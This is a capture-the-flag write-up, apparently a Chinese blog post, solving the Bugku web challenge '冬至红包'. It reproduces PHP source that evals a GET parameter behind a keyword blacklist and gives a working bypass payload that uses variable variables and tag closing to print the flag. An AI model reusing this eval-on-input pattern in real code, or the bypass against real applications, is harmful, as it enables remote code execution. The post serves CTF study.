Bugku WEB 冬至红包

源码都给了,当然是代码分析

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);
//exam长度为49,构造flag长度为49,主要用于确定填充1的个数
//正则匹配,如果在修饰符中加上"i",则正则将会取消大小写敏感性,即"a"和"A" 是一样的。
//如果在修饰符中加入"s",那么默认的"."代表除了换行符以外的任何字符将会变成任意字符,也就是包括换行符.
//`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit,对这个正则匹配,匹配`,",.,\,(,),[,],_,flag....
//看到eval函数就知道命令执行了,由于不知道本地flag的值,所以只能考虑通过eval直接输出flag变量的值
//$$a当$a为flag时$$a=$flag,
//由此构造flag=$a='fla*';$a{3}='g'?>11111111111111111;<?=$$a;?>
//eval($_GET['flag'])也就变为了eval($a='fla*';$a{3}='g'?>11111111111111111;<?=$$a;?>)前一个?>用于闭合开头<?php,因为<?php里面不允许嵌套<?php
//所以必须闭合
//后一个<?= ?>用于替代<?php echo ?>
//插入18个1

参考视频链接:https://www.bilibili.com/video/BV1A64y1X7ab/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值